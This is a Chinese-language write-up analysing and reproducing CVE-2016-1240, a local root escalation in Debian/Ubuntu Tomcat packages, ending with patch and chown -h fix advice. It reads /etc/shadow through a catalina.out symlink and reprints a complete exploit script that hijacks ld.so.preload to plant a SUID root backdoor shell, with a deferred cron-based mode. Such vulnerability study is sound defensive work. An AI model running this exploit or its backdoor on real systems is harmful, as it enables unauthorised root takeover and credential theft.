1. 程式人生 > >CVE-2016-1240(Tomcat本地提權漏洞分析與復現)

CVE-2016-1240(Tomcat本地提權漏洞分析與復現)

前言

       Tomcat是個執行在Apache上的應用伺服器,支援執行Servlet/JSP應用程式的容器——可以將Tomcat看作是Apache的擴充套件,實際上Tomcat也可以獨立於Apache執行。   

     Tomcat2016101日曝出本地提權漏洞CVE-2016-1240。僅需Tomcat使用者低許可權,攻擊者就能利用該漏洞獲取到系統的ROOT許可權。而且該漏洞的利用難度並不大,受影響的使用者需要特別關注。

漏洞分析

     Debian系統的Linux上管理員通常利用apt-get進行包管理,CVE-2016-1240這一漏洞其問題出在Tomcatdeb包中,使 deb包安裝的

Tomcat程式會自動為管理員安裝一個啟動指令碼:/etc/init.d/tocat* 利用該指令碼,可導致攻擊者通過低許可權的Tomcat使用者獲得系統root許可權!

  該問題出在Tomcatdeb包中,使 deb包安裝的Tomcat程式會自動為管理員安裝一個啟動指令碼,該指令碼位於/etc/init.d/tomcat*, 跟蹤程式碼如下:

171  # Run the catalina.sh script as a daemon
172  set +e 
173  touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
174 chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
175 start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" \
176 -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \
177 -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"
178 status="$?"
179 set +a -e

  174,Tomcat服務在啟動時,會將log檔案catalina.out的所有者改為Tomcat使用者, 而啟動指令碼通常由root使用者呼叫。如果將catalina.out修改為指向任意檔案的連結將會導致攻擊者以高許可權隨意操作任意系統檔案。

漏洞影響範圍

Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

 受影響的系統包括DebianUbuntu,其他使用相應deb包的系統也可能受到影響。

漏洞驗證

 Windows系統裡開啟xshell,並連線上虛擬機器的ubuntu系統,用tomcat7

進行登入:


登陸成功,如下圖所示:


接下來我們來驗證是否可以利用:

當前的使用者為tomcat7。這就是說我們能夠更改所屬使用者為tomcat7catalina.out這個log檔案的內容和屬性。

更改它的屬性,讓他指向/etc/shadow/資料夾下,現在我們建立一個指向/etc/shadow 的符號連結。

使用命令ln -fs /etc/shadow /var/log/tomcat6/catalina.out,這時候就可以在/etc/shadow下建立一個連結,就相當於Windows的快捷方式一樣。

此時catalina.out指向shadow檔案,開啟它相當於開啟shadow

此時我們檢視檔案cataline.out的內容,發現許可權不夠,禁止讀取cataline.out的內容:

接下來轉到root使用者,重啟tomcat,然後再轉回tomcat,再次開啟cataline.out檔案,發現可以成功打開了,成功的檢視到了本來需要root許可權才能看到的 /etc/shadow 檔案中的內容:

原理: Tomcat服務重啟時,系統預設重新載入 /var/log/tomcat6/catalina.out指令碼,由於此時tomcat的日誌檔案指向了 /etc/shadow檔案; 而該檔案就是我們之前建立的連結檔案它此時的組權為root,而連結檔案本身屬於Tomcat7這個低許可權使用者,因此,tomcat7這個低許可權的使用者就可以利用catalina.out檢視shadow中的內容了。

從此處可以驗證出,利用catalina.out的漏洞,可以實現提權。

使用poc提權 

 使用vim編輯器,在/tmp目錄下建立poc.sh檔案,把預先準備好的poc文件內容複製進去:

Usage: ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred] 

The exploit can used in two ways: 
-active (assumed by default) - which waits for a Tomcat restart in a loop and instantly gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 
It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)

-deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 
Attackers can come back at a later time and check on the /etc/default/locale file. Upon a Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can then add arbitrary commands to the file which will be executed with root privileges by the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default Ubuntu/Debian Tomcat installations).
poc.sh
#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on 
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a 
# vulnerable java webapp, or locally via weak permissions on webapps in the 
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by 
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $TOMCATLOG
    touch $TOMCATLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload 2>/dev/null
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
}

function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
    cleanexit 0
}

#intro 
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
    exit 3
fi
if [ "$2" = "-deferred" ]; then
    mode="deferred"
else
    mode="active"
fi

# Priv check
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
    exit 3
fi

# Set target paths
TOMCATLOG="$1"
if [ ! -f $TOMCATLOG ]; then
    echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
    exit 3
fi
echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
# restarted and file owner gets changed.
if [ "$mode" = "deferred" ]; then
    rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
    if [ $? -ne 0 ]; then
        echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
        cleanexit 3
    fi
    echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
    echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
    echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
    echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
    echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)
 \n\n"
    exit 0
fi

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    cleanexit 2
fi

# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

# Wait for Tomcat to re-open the logs
echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)
 "
while :; do 
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        break;
    fi
done

# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo --help 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mPlease tell me you're seeing this too ;)
  \033[0m"
else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
fi

# Execute the rootshell
echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p

# Job done.
cleanexit 0

接著使用chmod命令修改檔案的許可權,chmod 755 表示 111 101 101 ,令該檔案建立者擁有對檔案的讀取,寫入,執行許可權;其他使用者可以讀和執行該檔案。接下來執行檔案:

檔案執行成功,此時正在等待tomcat7的重啟,開啟另一個終端,用root使用者連線ubuntu目標機,重啟tomcat7服務,重啟之後,提權成功:

此時利用whoami命令和id命令可以看到tomcat7已經擁有了root使用者的許可權,本次漏洞復現完畢

漏洞修復

目前,DebianUbuntu等相關作業系統廠商已修復並更新受影響的Tomcat安裝包。受影響使用者可採取以下解決方案:

1、更新Tomcat伺服器版本:

1)針對Ubuntu公告連結 http://www.ubuntu.com/usn/usn-3081-1/

2)針對Debian公告連結 https://lists.debian.org/debian-security-announce/2016/msg00249.html https://www.debian.org/security/2016/dsa-3669 https://www.debian.org/security/2016/dsa-3670

2、加入-h引數防止其他檔案所有者被更改,即更改Tomcat的啟動指令碼為:

 chown -h $TOMCAT6_USER $CATALINA_PID” “$CATALINA_BASE/logs/catalina.out